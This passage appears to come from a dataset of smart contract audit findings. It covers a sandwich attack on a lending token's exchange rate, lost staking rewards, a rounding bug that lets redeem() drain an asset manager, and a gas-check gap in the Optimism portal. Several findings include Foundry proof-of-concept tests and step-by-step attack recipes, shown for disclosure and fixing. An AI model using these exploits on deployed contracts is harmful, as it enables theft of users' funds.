_payoutTokenAddress\\n ) external onlyOpenQ {\\n require(\\n bountyType == OpenQDefinitions.TIERED_FIXED,\\n Errors.NOT_A_FIXED_TIERED_BOUNTY\\n );\\n payoutSchedule = _payoutSchedule;\\n payoutTokenAddress = _payoutTokenAddress;\\n\\n // Resize metadata arrays and copy current members to new array\\n // NOTE: If resizing to fewer tiers than previously, the final indexes will be removed\\n string[] memory newTierWinners = new string[](payoutSchedule.length);\\n bool[] memory newInvoiceComplete = new bool[](payoutSchedule.length);\\n bool[] memory newSupportingDocumentsCompleted = new bool[](\\n payoutSchedule.length\\n );\\n\\n for (uint256 i = 0; i < tierWinners.length; i++) { <=====================================================\\n newTierWinners[i] = tierWinners[i];\\n }\\n tierWinners = newTierWinners;\\n\\n for (uint256 i = 0; i < invoiceComplete.length; i++) { <=====================================================\\n newInvoiceComplete[i] = invoiceComplete[i];\\n }\\n invoiceComplete = newInvoiceComplete;\\n\\n for (uint256 i = 0; i < supportingDocumentsComplete.length; i++) { <=====================================================\\n newSupportingDocumentsCompleted[i] = supportingDocumentsComplete[i];\\n }\\n supportingDocumentsComplete = newSupportingDocumentsCompleted;\\n }\\n```\\n |
The `exchangeRateStored()` function allows front-running on repayments | medium | The `exchangeRateStored()` function allows to perform front-running attacks when a repayment is being executed.\\nSince `_repayBorrowFresh()` increases `totalRedeemable` value which affects in the final exchange rate calculation used in functions such as `mint()` and `redeem()`, an attacker could perform a front-run to any repayment by minting `UTokens` beforehand, and redeem these tokens after the front-run repayment. In this situation, the attacker would always be obtaining profits since `totalRedeemable` value is increased after every repayment.\\nProof of Concept\\n```\\n function increaseTotalSupply(uint256 _amount) private {\\n daiMock.mint(address(this), _amount);\\n daiMock.approve(address(uToken), _amount);\\n uToken.mint(_amount);\\n }\\n\\n function testMintRedeemSandwich() public {\\n increaseTotalSupply(50 ether);\\n\\n vm.prank(ALICE);\\n uToken.borrow(ALICE, 50 ether);\\n uint256 borrowed = uToken.borrowBalanceView(ALICE);\\n\\n vm.roll(block.number + 500);\\n\\n vm.startPrank(BOB);\\n daiMock.approve(address(uToken), 100 ether);\\n uToken.mint(100 ether);\\n\\n console.log("\\n [UToken] Total supply:", uToken.totalSupply());\\n console.log("[UToken] BOB balance:", uToken.balanceOf(BOB));\\n console.log("[DAI] BOB balance:", daiMock.balanceOf(BOB));\\n\\n uint256 currExchangeRate = uToken.exchangeRateStored();\\n console.log("[1] Exchange rate:", currExchangeRate);\\n vm.stopPrank();\\n\\n vm.startPrank(ALICE);\\n uint256 interest = uToken.calculatingInterest(ALICE);\\n uint256 repayAmount = borrowed + interest;\\n\\n daiMock.approve(address(uToken), repayAmount);\\n uToken.repayBorrow(ALICE, repayAmount);\\n\\n console.log("\\n [UToken] Total supply:", uToken.totalSupply());\\n console.log("[UToken] ALICE balance:", uToken.balanceOf(ALICE));\\n console.log("[DAI] ALICE balance:", daiMock.balanceOf(ALICE));\\n\\n currExchangeRate = uToken.exchangeRateStored();\\n console.log("[2] Exchange rate:", currExchangeRate);\\n vm.stopPrank();\\n\\n vm.startPrank(BOB);\\n uToken.redeem(uToken.balanceOf(BOB), 0);\\n\\n console.log("\\n [UToken] Total supply:", uToken.totalSupply());\\n console.log("[UToken] BOB balance:", uToken.balanceOf(BOB));\\n console.log("[DAI] BOB balance:", daiMock.balanceOf(BOB));\\n\\n currExchangeRate = uToken.exchangeRateStored();\\n console.log("[3] Exchange rate:", currExchangeRate);\\n }\\n```\\n\\nResult\\n```\\n[PASS] testMintRedeemSandwich() (gas: 560119)\\nLogs:\\n\\n [UToken] Total supply: 150000000000000000000\\n [UToken] BOB balance: 100000000000000000000\\n [DAI] BOB balance: 0\\n [1] Exchange rate: 1000000000000000000\\n\\n [UToken] Total supply: 150000000000000000000\\n [UToken] ALICE balance: 0\\n [DAI] ALICE balance: 99474750000000000000\\n [2] Exchange rate: 1000084166666666666\\n\\n [UToken] Total supply: 50000000000000000000\\n [UToken] BOB balance: 0\\n [DAI] BOB balance: 100008416666666666600\\n [3] Exchange rate: 1000084166666666668\\n```\\n | Issue The `exchangeRateStored()` function allows front-running on repayments\\nAn approach could be implementing TWAP in order to make front-running unprofitable in this situation. | An attacker could always get profits from front-running repayments by taking advantage of `exchangeRateStored()` calculation before a repayment is made. | ```\\n function increaseTotalSupply(uint256 _amount) private {\\n daiMock.mint(address(this), _amount);\\n daiMock.approve(address(uToken), _amount);\\n uToken.mint(_amount);\\n }\\n\\n function testMintRedeemSandwich() public {\\n increaseTotalSupply(50 ether);\\n\\n vm.prank(ALICE);\\n uToken.borrow(ALICE, 50 ether);\\n uint256 borrowed = uToken.borrowBalanceView(ALICE);\\n\\n vm.roll(block.number + 500);\\n\\n vm.startPrank(BOB);\\n daiMock.approve(address(uToken), 100 ether);\\n uToken.mint(100 ether);\\n\\n console.log("\\n [UToken] Total supply:", uToken.totalSupply());\\n console.log("[UToken] BOB balance:", uToken.balanceOf(BOB));\\n console.log("[DAI] BOB balance:", daiMock.balanceOf(BOB));\\n\\n uint256 currExchangeRate = uToken.exchangeRateStored();\\n console.log("[1] Exchange rate:", currExchangeRate);\\n vm.stopPrank();\\n\\n vm.startPrank(ALICE);\\n uint256 interest = uToken.calculatingInterest(ALICE);\\n uint256 repayAmount = borrowed + interest;\\n\\n daiMock.approve(address(uToken), repayAmount);\\n uToken.repayBorrow(ALICE, repayAmount);\\n\\n console.log("\\n [UToken] Total supply:", uToken.totalSupply());\\n console.log("[UToken] ALICE balance:", uToken.balanceOf(ALICE));\\n console.log("[DAI] ALICE balance:", daiMock.balanceOf(ALICE));\\n\\n currExchangeRate = uToken.exchangeRateStored();\\n console.log("[2] Exchange rate:", currExchangeRate);\\n vm.stopPrank();\\n\\n vm.startPrank(BOB);\\n uToken.redeem(uToken.balanceOf(BOB), 0);\\n\\n console.log("\\n [UToken] Total supply:", uToken.totalSupply());\\n console.log("[UToken] BOB balance:", uToken.balanceOf(BOB));\\n console.log("[DAI] BOB balance:", daiMock.balanceOf(BOB));\\n\\n currExchangeRate = uToken.exchangeRateStored();\\n console.log("[3] Exchange rate:", currExchangeRate);\\n }\\n```\\n |
Users can lose their staking rewards. | medium | By following the steps described in `Vulnerability Detail`, user is able to lose all of his staking rewards.\\nThe issue occurs in the following steps described below:\\nKiki calls the function `unstake` and unstakes all of his funds, as a result the internal function `_updateStakedCoinAge` is called to update his staked coin age till the current block.\\n```\\ncontracts/user/UserManager.sol\\n\\n function unstake(uint96 amount) external whenNotPaused nonReentrant {\\n Staker storage staker = stakers[msg.sender];\\n // Stakers can only unstaked stake balance that is unlocked. Stake balance\\n // becomes locked when it is used to underwrite a borrow.\\n if (staker.stakedAmount - staker.locked < amount) revert InsufficientBalance();\\n comptroller.withdrawRewards(msg.sender, stakingToken);\\n uint256 remaining = IAssetManager(assetManager).withdraw(stakingToken, msg.sender, amount);\\n if (uint96(remaining) > amount) {\\n revert AssetManagerWithdrawFailed();\\n }\\n uint96 actualAmount = amount - uint96(remaining);\\n _updateStakedCoinAge(msg.sender, staker);\\n staker.stakedAmount -= actualAmount;\\n totalStaked -= actualAmount;\\n emit LogUnstake(msg.sender, actualAmount);\\n }\\n```\\n\\n```\\ncontracts/user/UserManager.sol\\n\\n function _updateStakedCoinAge(address stakerAddress, Staker storage staker) private {\\n uint64 currentBlock = uint64(block.number);\\n uint256 lastWithdrawRewards = getLastWithdrawRewards[stakerAddress];\\n uint256 blocksPast = (uint256(currentBlock) - _max(lastWithdrawRewards, uint256(staker.lastUpdated)));\\n staker.stakedCoinAge += blocksPast * uint256(staker.stakedAmount);\\n staker.lastUpdated = currentBlock;\\n }\\n```\\n\\nAfter that Kiki calls the function `withdrawRewards` in order to withdraw his staking rewards. Everything executes fine, but the contract lacks union tokens and can't transfer the tokens to Kiki, so the else statement is triggered and the amount of tokens is added to his accrued balance, so he can still be able to withdraw them after.\\n```\\ncontracts/token/Comptroller.sol\\n\\n function withdrawRewards(address account, address token) external override whenNotPaused returns (uint256) {\\n IUserManager userManager = _getUserManager(token);\\n // Lookup account state from UserManager\\n (UserManagerAccountState memory user, Info memory userInfo, uint256 pastBlocks) = _getUserInfo(\\n userManager,\\n account,\\n token,\\n 0\\n );\\n // Lookup global state from UserManager\\n uint256 globalTotalStaked = userManager.globalTotalStaked();\\n uint256 amount = _calculateRewardsByBlocks(account, token, pastBlocks, userInfo, globalTotalStaked, user);\\n // update the global states\\n gInflationIndex = _getInflationIndexNew(globalTotalStaked, block.number - gLastUpdatedBlock);\\n gLastUpdatedBlock = block.number;\\n users[account][token].updatedBlock = block.number;\\n users[account][token].inflationIndex = gInflationIndex;\\n if (unionToken.balanceOf(address(this)) >= amount && amount > 0) {\\n unionToken.safeTransfer(account, amount);\\n users[account][token].accrued = 0;\\n emit LogWithdrawRewards(account, amount);\\n return amount;\\n } else {\\n users[account][token].accrued = amount;\\n emit LogWithdrawRewards(account, 0);\\n return 0;\\n }\\n }\\n```\\n\\nThis is where the issue occurs, next time Kiki calls the function `withdrawRewards`, he is going to lose all of his rewards.\\nExplanation of how this happens:\\nFirst the internal function _getUserInfo will return the struct `UserManagerAccountState memory user`, which contains zero amount for effectiveStaked, because Kiki unstaked all of his funds and already called the function withdrawRewards once. This happens because Kiki has `stakedAmount = 0, stakedCoinAge = 0, lockedCoinAge = 0, frozenCoinAge = 0`.\\n```\\n(UserManagerAccountState memory user, Info memory userInfo, uint256 pastBlocks) = _getUserInfo(\\n userManager,\\n account,\\n token,\\n 0\\n );\\n```\\n\\nThe cache `uint256 amount` will have a zero value because of the if statement applied in the internal function `_calculateRewardsByBlocks`, the if statement will be triggered as Kiki's effectiveStaked == 0, and as a result the function will return zero.\\n```\\nuint256 amount = _calculateRewardsByBlocks(account, token, pastBlocks, userInfo, globalTotalStaked, user);\\n```\\n\\n```\\nif (user.effectiveStaked == 0 || totalStaked == 0 || startInflationIndex == 0 || pastBlocks == 0) {\\n return 0;\\n }\\n```\\n\\nSince the cache `uint256 amount` have a zero value, the if statement in the function `withdrawRewards` will actually be ignored because of `&& amount > 0`. And the else statement will be triggered, which will override Kiki's accrued balance with "amount", which is actually zero. As a result Kiki will lose his rewards.\\n```\\nif (unionToken.balanceOf(address(this)) >= amount && amount > 0) {\\n unionToken.safeTransfer(account, amount);\\n users[account][token].accrued = 0;\\n emit LogWithdrawRewards(account, amount);\\n\\n return amount;\\n } else {\\n users[account][token].accrued = amount;\\n emit LogWithdrawRewards(account, 0);\\n\\n return 0;\\n }\\n```\\n | One way of fixing this problem, that l can think of is to refactor the function _calculateRewardsByBlocks. First the function _calculateRewardsByBlocks will revert if `(totalStaked == 0 || startInflationIndex == 0 || pastBlocks == 0)`. Second new if statement is created, which is triggered if `user.effectiveStaked == 0`.\\nif `userInfo.accrued == 0`, it will return 0.\\nif `userInfo.accrued != 0`, it will return the accrued balance.\\n```\\nfunction _calculateRewardsByBlocks(\\n address account,\\n address token,\\n uint256 pastBlocks,\\n Info memory userInfo,\\n uint256 totalStaked,\\n UserManagerAccountState memory user\\n ) internal view returns (uint256) {\\n uint256 startInflationIndex = users[account][token].inflationIndex;\\n\\n if (totalStaked == 0 || startInflationIndex == 0 || pastBlocks == 0) {\\n revert ZeroNotAllowed();\\n }\\n \\n if (user.effectiveStaked == 0) {\\n if (userInfo.accrued == 0) return 0;\\n else return userInfo.accrued\\n }\\n\\n uint256 rewardMultiplier = _getRewardsMultiplier(user);\\n\\n uint256 curInflationIndex = _getInflationIndexNew(totalStaked, pastBlocks);\\n\\n if (curInflationIndex < startInflationIndex) revert InflationIndexTooSmall();\\n\\n return\\n userInfo.accrued +\\n (curInflationIndex - startInflationIndex).wadMul(user.effectiveStaked).wadMul(rewardMultiplier);\\n }\\n```\\n | The impact here is that users can lose their staking rewards.\\nTo understand the scenario which is described in `Vulnerability Detail`, you'll need to know how the codebase works. Here in the impact section, l will describe in little more details and trace the functions.\\nThe issue occurs in 3 steps like described in Vulnerability Detail:\\nUser unstakes all of his funds.\\nThen he calls the function `withdrawRewards` in order to withdraw his rewards, everything executes fine but the contract lacks union tokens, so instead of transferring the tokens to the user, they are added to his accrued balance so he can still withdraw them after.\\nThe next time the user calls the function `withdrawRewards` in order to withdraw his accrued balance of tokens, he will lose all of his rewards.\\nExplanation in details:\\nUser unstakes all of his funds by calling the function `unstake`.\\nHis stakedAmount will be reduced to zero in the struct `Staker`.\\nHis stakedCoinAge will be updated to the current block with the internal function `_updateStakedCoinAge`.\\nThen he calls the function withdrawRewards in order to withdraw his rewards, everything executes fine but the contract lacks union tokens, so instead of transferring the tokens to the user, they are added to his accrued balance so he can still withdraw them after.\\nUser's stakedCoinAge, lockedCoinAge and frozenCoinAge are reduced to zero in the function `onWithdrawRewards`.\\nThe next time the user calls the function `withdrawRewards` in order to withdraw his accrued balance of tokens, he will lose all of his rewards.\\nIn order to withdraw his accrued rewards stored in his struct balance `Info`. He calls the function `withdrawRewards` again and this is where the issue occurs, as the user has `stakedAmount = 0, stakedCoinAge = 0, lockedCoinAge = 0, frozenCoinAge = 0` .\\nDuo to that the outcome of the function _getCoinAge, which returns a memory struct of CoinAge to the function `_getEffectiveAmounts` will look like this:\\n```\\nCoinAge memory coinAge = CoinAge({\\n lastWithdrawRewards: lastWithdrawRewards,\\n diff: diff,\\n stakedCoinAge: staker.stakedCoinAge + diff * uint256(staker.stakedAmount),\\n lockedCoinAge: staker.lockedCoinAge,\\n frozenCoinAge: frozenCoinAge[stakerAddress]\\n });\\n\\n// The function will return:\\nCoinAge memory coinAge = CoinAge({\\n lastWithdrawRewards: random number,\\n diff: random number,\\n stakedCoinAge: 0 + random number * 0,\\n lockedCoinAge: 0, \\n frozenCoinAge: 0\\n });\\n```\\n\\nAs a result the function `_getEffectiveAmounts` will return zero values for effectiveStaked and effectiveLocked to the function `onWithdrawRewards`.\\n```\\nreturn (\\n // staker's total effective staked = (staked coinage - frozen coinage) / (# of blocks since last reward claiming)\\n coinAge.diff == 0 ? 0 : (coinAge.stakedCoinAge - coinAge.frozenCoinAge) / coinAge.diff,\\n // effective locked amount = (locked coinage - frozen coinage) / (# of blocks since last reward claiming)\\n coinAge.diff == 0 ? 0 : (coinAge.lockedCoinAge - coinAge.frozenCoinAge) / coinAge.diff,\\n memberTotalFrozen\\n );\\n\\nreturn (\\n // staker's total effective staked = (staked coinage - frozen coinage) / (# of blocks since last reward claiming)\\n coinAge.diff == 0 ? 0 : (0 - 0) / random number,\\n // effective locked amount = (locked coinage - frozen coinage) / (# of blocks since last reward claiming)\\n coinAge.diff == 0 ? 0 : (0 - 0) / random number,\\n 0\\n );\\n```\\n\\nAfter that the function `withdrawRewards` caches the returning value from the internal function `_calculateRewardsByBlocks`. What happens is that in the function `_calculateRewardsByBlocks` the if statement is triggered because the user's effectiveStaked == 0. As a result the internal function will return 0 and the cache `uint256 amount` will equal zero.\\n```\\nuint256 amount = _calculateRewardsByBlocks(account, token, pastBlocks, userInfo, globalTotalStaked, user);\\n```\\n\\n```\\nif (user.effectiveStaked == 0 || totalStaked == 0 || startInflationIndex == 0 || pastBlocks == 0) {\\n return 0;\\n }\\n```\\n\\nSince the cache `uint256 amount` have a zero value, the if statement in the function `withdrawRewards` will actually be ignored because of `&& amount > 0`. And the else statement will be triggered, which will override Kiki's accrued balance with "amount", which is actually zero.\\n```\\nif (unionToken.balanceOf(address(this)) >= amount && amount > 0) {\\n unionToken.safeTransfer(account, amount);\\n users[account][token].accrued = 0;\\n emit LogWithdrawRewards(account, amount);\\n\\n return amount;\\n } else {\\n users[account][token].accrued = amount;\\n emit LogWithdrawRewards(account, 0);\\n\\n return 0;\\n }\\n```\\n\\nBelow you can see the functions which are invoked starting from the function _getUserInfo:\\n```\\n(UserManagerAccountState memory user, Info memory userInfo, uint256 pastBlocks) = _getUserInfo(\\n userManager,\\n account,\\n token,\\n 0\\n );\\n```\\n\\n```\\nfunction _getUserInfo(\\n IUserManager userManager,\\n address account,\\n address token,\\n uint256 futureBlocks\\n ) internal returns (UserManagerAccountState memory user, Info memory userInfo, uint256 pastBlocks) {\\n userInfo = users[account][token];\\n uint256 lastUpdatedBlock = userInfo.updatedBlock;\\n if (block.number < lastUpdatedBlock) {\\n lastUpdatedBlock = block.number;\\n }\\n\\n pastBlocks = block.number - lastUpdatedBlock + futureBlocks;\\n\\n (user.effectiveStaked, user.effectiveLocked, user.isMember) = userManager.onWithdrawRewards(\\n account,\\n pastBlocks\\n );\\n }\\n```\\n\\n```\\nfunction onWithdrawRewards(address staker, uint256 pastBlocks)\\n external\\n returns (\\n uint256 effectiveStaked,\\n uint256 effectiveLocked,\\n bool isMember\\n )\\n {\\n if (address(comptroller) != msg.sender) revert AuthFailed();\\n uint256 memberTotalFrozen = 0;\\n (effectiveStaked, effectiveLocked, memberTotalFrozen) = _getEffectiveAmounts(staker, pastBlocks);\\n stakers[staker].stakedCoinAge = 0;\\n stakers[staker].lastUpdated = uint64(block.number);\\n stakers[staker].lockedCoinAge = 0;\\n frozenCoinAge[staker] = 0;\\n getLastWithdrawRewards[staker] = block.number;\\n\\n uint256 memberFrozenBefore = memberFrozen[staker];\\n if (memberFrozenBefore != memberTotalFrozen) {\\n memberFrozen[staker] = memberTotalFrozen;\\n totalFrozen = totalFrozen - memberFrozenBefore + memberTotalFrozen;\\n }\\n\\n isMember = stakers[staker].isMember;\\n }\\n```\\n\\n```\\nfunction _getEffectiveAmounts(address stakerAddress, uint256 pastBlocks)\\n private\\n view\\n returns (\\n uint256,\\n uint256,\\n uint256\\n )\\n {\\n uint256 memberTotalFrozen = 0;\\n CoinAge memory coinAge = _getCoinAge(stakerAddress);\\n\\n uint256 overdueBlocks = uToken.overdueBlocks();\\n uint256 voucheesLength = vouchees[stakerAddress].length;\\n // Loop through all of the stakers vouchees sum their total\\n // locked balance and sum their total currDefaultFrozenCoinAge\\n for (uint256 i = 0; i < voucheesLength; i++) {\\n // Get the vouchee record and look up the borrowers voucher record\\n // to get the locked amount and lastUpdated block number\\n Vouchee memory vouchee = vouchees[stakerAddress][i];\\n Vouch memory vouch = vouchers[vouchee.borrower][vouchee.voucherIndex];\\n\\n uint256 lastRepay = uToken.getLastRepay(vouchee.borrower);\\n uint256 repayDiff = block.number - _max(lastRepay, coinAge.lastWithdrawRewards);\\n uint256 locked = uint256(vouch.locked);\\n\\n if (overdueBlocks < repayDiff && (coinAge.lastWithdrawRewards != 0 || lastRepay != 0)) {\\n memberTotalFrozen += locked;\\n if (pastBlocks >= repayDiff) {\\n coinAge.frozenCoinAge += (locked * repayDiff);\\n } else {\\n coinAge.frozenCoinAge += (locked * pastBlocks);\\n }\\n }\\n\\n uint256 lastUpdateBlock = _max(coinAge.lastWithdrawRewards, uint256(vouch.lastUpdated));\\n coinAge.lockedCoinAge += (block.number - lastUpdateBlock) * locked;\\n }\\n\\n return (\\n // staker's total effective staked = (staked coinage - frozen coinage) / (# of blocks since last reward claiming)\\n coinAge.diff == 0 ? 0 : (coinAge.stakedCoinAge - coinAge.frozenCoinAge) / coinAge.diff,\\n // effective locked amount = (locked coinage - frozen coinage) / (# of blocks since last reward claiming)\\n coinAge.diff == 0 ? 0 : (coinAge.lockedCoinAge - coinAge.frozenCoinAge) / coinAge.diff,\\n memberTotalFrozen\\n );\\n }\\n```\\n\\n```\\nfunction _getCoinAge(address stakerAddress) private view returns (CoinAge memory) {\\n Staker memory staker = stakers[stakerAddress];\\n\\n uint256 lastWithdrawRewards = getLastWithdrawRewards[stakerAddress];\\n uint256 diff = block.number - _max(lastWithdrawRewards, uint256(staker.lastUpdated));\\n\\n CoinAge memory coinAge = CoinAge({\\n lastWithdrawRewards: lastWithdrawRewards,\\n diff: diff,\\n stakedCoinAge: staker.stakedCoinAge + diff * uint256(staker.stakedAmount),\\n lockedCoinAge: staker.lockedCoinAge,\\n frozenCoinAge: frozenCoinAge[stakerAddress]\\n });\\n\\n return coinAge;\\n }\\n```\\n\\nBelow you can see the function _calculateRewardsByBlocks:\\n```\\nfunction _calculateRewardsByBlocks(\\n address account,\\n address token,\\n uint256 pastBlocks,\\n Info memory userInfo,\\n uint256 totalStaked,\\n UserManagerAccountState memory user\\n ) internal view returns (uint256) {\\n uint256 startInflationIndex = users[account][token].inflationIndex;\\n\\n if (user.effectiveStaked == 0 || totalStaked == 0 || startInflationIndex == 0 || pastBlocks == 0) {\\n return 0;\\n }\\n\\n uint256 rewardMultiplier = _getRewardsMultiplier(user);\\n\\n uint256 curInflationIndex = _getInflationIndexNew(totalStaked, pastBlocks);\\n\\n if (curInflationIndex < startInflationIndex) revert InflationIndexTooSmall();\\n\\n return\\n userInfo.accrued +\\n (curInflationIndex - startInflationIndex).wadMul(user.effectiveStaked).wadMul(rewardMultiplier);\\n }\\n```\\n | ```\\ncontracts/user/UserManager.sol\\n\\n function unstake(uint96 amount) external whenNotPaused nonReentrant {\\n Staker storage staker = stakers[msg.sender];\\n // Stakers can only unstaked stake balance that is unlocked. Stake balance\\n // becomes locked when it is used to underwrite a borrow.\\n if (staker.stakedAmount - staker.locked < amount) revert InsufficientBalance();\\n comptroller.withdrawRewards(msg.sender, stakingToken);\\n uint256 remaining = IAssetManager(assetManager).withdraw(stakingToken, msg.sender, amount);\\n if (uint96(remaining) > amount) {\\n revert AssetManagerWithdrawFailed();\\n }\\n uint96 actualAmount = amount - uint96(remaining);\\n _updateStakedCoinAge(msg.sender, staker);\\n staker.stakedAmount -= actualAmount;\\n totalStaked -= actualAmount;\\n emit LogUnstake(msg.sender, actualAmount);\\n }\\n```\\n |
Attackers can call UToken.redeem() and drain the funds in assetManager | medium | Attackers can call `UToken.redeem()` and drain the funds in assetManager, taking advantage of the following vulnerability: due to round error, it is possible that uTokenAmount = 0; the redeem()function does not check whether `uTokenAmount = 0` and will redeem the amount of `underlyingAmount` even when zero uTokens are burned.\\nConsider the following attack scenario:\\nSuppose `exchangeRate = 1000 WAD`, that is each utoken exchanges for 1000 underlying tokens.\\nAttacker B calls `redeem(0, 999)`, then the else-part of the following code will get executed:\\n```\\n if (amountIn > 0) {\\n // We calculate the exchange rate and the amount of underlying to be redeemed:\\n // uTokenAmount = amountIn\\n // underlyingAmount = amountIn x exchangeRateCurrent\\n uTokenAmount = amountIn;\\n underlyingAmount = (amountIn * exchangeRate) / WAD;\\n } else {\\n // We get the current exchange rate and calculate the amount to be redeemed:\\n // uTokenAmount = amountOut / exchangeRate\\n // underlyingAmount = amountOut\\n uTokenAmount = (amountOut * WAD) / exchangeRate;\\n underlyingAmount = amountOut;\\n }\\n```\\n\\nwe have `uTokenAmount = 999*WAD/1000WAD = 0`, and `underlyingAmount = 999`.\\nSince `redeeem()` does not check whether `uTokenAmount = 0` and the function will proceed. When finished, the attacker will get 999 underlying tokens, but burned no utokens. He stole 999 underlying tokens.\\nThe attacker can accomplish draining the `assetManger` by writing a malicious contract/function using a loop to run `redeem(0, exchangeRate/WAD-1)` multiple times (as long as not running of gas) and will be able to steal more funds in one SINGLE transaction. Running this transaction a few times will drain `assetManager` easily. This attack will be successful when `exchangeRate/WAD-1 > 0`. Here we need to consider that `exchangeRate` might change due to the decreasing of `totalReeemable`. So in each iteration, when we call `redeem(0, exchangeRate/WAD-1)`, the second argument is recalculated. | Issue Attackers can call UToken.redeem() and drain the funds in assetManager\\nRevise `redeem()` so that it will revert when `uTokenAmount = 0`. | An attacker can keep calling redeem() and drain the funds in `assetManager`. | ```\\n if (amountIn > 0) {\\n // We calculate the exchange rate and the amount of underlying to be redeemed:\\n // uTokenAmount = amountIn\\n // underlyingAmount = amountIn x exchangeRateCurrent\\n uTokenAmount = amountIn;\\n underlyingAmount = (amountIn * exchangeRate) / WAD;\\n } else {\\n // We get the current exchange rate and calculate the amount to be redeemed:\\n // uTokenAmount = amountOut / exchangeRate\\n // underlyingAmount = amountOut\\n uTokenAmount = (amountOut * WAD) / exchangeRate;\\n underlyingAmount = amountOut;\\n }\\n```\\n |
Malicious user can finalize other's withdrawal with less than specified gas limit, leading to loss of funds | high | Transactions to execute a withdrawal from the Optimism Portal can be sent with 5122 less gas than specified by the user, because the check is performed a few operations prior to the call. Because there are no replays on this contract, the result is that a separate malicious user can call `finalizeWithdrawalTransaction()` with a precise amount of gas, cause the withdrawer's withdrawal to fail, and permanently lock their funds.\\nWithdrawals can be initiated directly from the `L2ToL1MessagePasser` contract on L2. These withdrawals can be withdrawn directly from the `OptimismPortal` on L1. This path is intended to be used only by users who know what they are doing, presumably to save the gas of going through the additional more “user-friendly” contracts.\\nOne of the quirks of the `OptimismPortal` is that there is no replaying of transactions. If a transaction fails, it will simply fail, and all ETH associated with it will remain in the `OptimismPortal` contract. Users have been warned of this and understand the risks, so Optimism takes no responsibility for user error.\\nHowever, there is an issue in the implementation of `OptimismPortal` that a withdrawal transaction can be executed with 5122 gas less than the user specified. In many cases, this could cause their transaction to revert, without any user error involved. Optimism is aware of the importance of this property being correct when they write in the comments:\\nWe want to maintain the property that the amount of gas supplied to the call to the target contract is at least the gas limit specified by the user. We can do this by enforcing that, at this point in time, we still have gaslimit + buffer gas available.\\nThis property is not maintained because of the gap between the check and the execution.\\nThe check is as follows, where FINALIZE_GAS_BUFFER == 20_000:\\n```\\nrequire(\\n gasleft() >= _tx.gasLimit + FINALIZE_GAS_BUFFER,\\n "OptimismPortal: insufficient gas to finalize withdrawal"\\n);\\n```\\n\\nAfter this check, we know that the current execution context has at least 20,000 more gas than the gas limit. However, we then proceed to spend gas by (a) assigning the `l2Sender` storage variable, which uses 2900 gas because it's assigning from a non-zero value, and (b) perform some additional operations to prepare the contract for the external call.\\nThe result is that, by the time the call is sent with `gasleft()` - FINALIZE_GAS_BUFFER gas, `gasleft()` is 5122 lower than it was in the initial check.\\nMathematically, this can be expressed as:\\n`gasAtCheck >= gasLimit + 20000`\\n`gasSent == gasAtCall - 20000`\\n`gasAtCall == gasAtCheck - 5122`\\nRearranging, we get `gasSent >= gasLimit + 20000 - 5122 - 20000`, which simplifies to `gasSent >= gasLimit - 5122`. | Instead of using one value for `FINALIZE_GAS_BUFFER`, two separate values should be used that account for the gas used between the check and the call. | For any withdrawal where a user sets their gas limit within 5122 of the actual gas their execution requires, a malicious user can call `finalizeWithdrawalTransaction()` on their behalf with enough gas to pass the check, but not enough for execution to succeed.\\nThe result is that the withdrawing user will have their funds permanently locked in the `OptimismPortal` contract.\\nProof of Concept\\nTo test this behavior in a sandboxed environment, you can copy the following proof of concept.\\nHere are three simple contracts that replicate the behavior of the Portal, as well as an external contract that uses a predefined amount of gas.\\n```\\n// SPDX-License-Identifier: UNLICENSED\\npragma solidity ^0.8.13;\\n\\nlibrary SafeCall {\\n /**\\n * @notice Perform a low level call without copying any returndata\\n *\\n * @param _target Address to call\\n * @param _gas Amount of gas to pass to the call\\n * @param _value Amount of value to pass to the call\\n * @param _calldata Calldata to pass to the call\\n */\\n function call(\\n address _target,\\n uint256 _gas,\\n uint256 _value,\\n bytes memory _calldata\\n ) internal returns (bool) {\\n bool _success;\\n assembly {\\n _success := call(\\n _gas, // gas\\n _target, // recipient\\n _value, // ether value\\n add(_calldata, 0x20), // inloc\\n mload(_calldata), // inlen\\n 0, // outloc\\n 0 // outlen\\n )\\n }\\n return _success;\\n }\\n}\\n\\ncontract GasUser {\\n uint[] public s;\\n\\n function store(uint i) public {\\n for (uint j = 0; j < i; j++) {\\n s.push(1);\\n }\\n }\\n}\\n\\ncontract Portal {\\n address l2Sender;\\n\\n struct Transaction {\\n uint gasLimit;\\n address sender;\\n address target;\\n uint value;\\n bytes data;\\n }\\n\\n constructor(address _l2Sender) {\\n l2Sender = _l2Sender;\\n }\\n\\n function execute(Transaction memory _tx) public {\\n require(\\n gasleft() >= _tx.gasLimit + 20000,\\n "OptimismPortal: insufficient gas to finalize withdrawal"\\n );\\n\\n // Set the l2Sender so contracts know who triggered this withdrawal on L2.\\n l2Sender = _tx.sender;\\n\\n // Trigger the call to the target contract. We use SafeCall because we don't\\n // care about the returndata and we don't want target contracts to be able to force this\\n // call to run out of gas via a returndata bomb.\\n bool success = SafeCall.call(\\n _tx.target,\\n gasleft() - 20000,\\n _tx.value,\\n _tx.data\\n );\\n }\\n}\\n```\\n\\nHere is a Foundry test that calls the Portal with various gas values to expose this vulnerability:\\n```\\n// SPDX-License-Identifier: UNLICENSED\\npragma solidity ^0.8.13;\\n\\nimport "forge-std/Test.sol";\\nimport "../src/Portal.sol";\\n\\ncontract PortalGasTest is Test {\\n Portal public c;\\n GasUser public gu;\\n\\n function setUp() public {\\n c = new Portal(0x000000000000000000000000000000000000dEaD);\\n gu = new GasUser();\\n }\\n\\n function testGasLimitForGU() public {\\n gu.store{gas: 44_602}(1);\\n assert(gu.s(0) == 1);\\n }\\n\\n function _executePortalWithGivenGas(uint gas) public {\\n c.execute{gas: gas}(Portal.Transaction({\\n gasLimit: 44_602,\\n sender: address(69),\\n target: address(gu),\\n value: 0,\\n data: abi.encodeWithSignature("store(uint256)", 1)\\n }));\\n }\\n\\n function testPortalCatchesGasTooSmall() public {\\n vm.expectRevert(bytes("OptimismPortal: insufficient gas to finalize withdrawal"));\\n _executePortalWithGivenGas(65681);\\n }\\n\\n function testPortalSucceedsWithEnoughGas() public {\\n _executePortalWithGivenGas(70803);\\n assert(gu.s(0) == 1);\\n }\\n\\n function testPortalBugWithInBetweenGasLow() public {\\n _executePortalWithGivenGas(65682);\\n \\n // It now reverts because the array has a length of 0.\\n vm.expectRevert();\\n gu.s(0);\\n }\\n\\n function testPortalBugWithInBetweenGasHigh() public {\\n _executePortalWithGivenGas(70802);\\n \\n // It now reverts because the array has a length of 0.\\n vm.expectRevert();\\n gu.s(0);\\n }\\n}\\n```\\n\\nSummarizing the results of this test:\\nWe verify that the call to the target contract succeeds with 44,602 gas, and set that as gasLimit for all 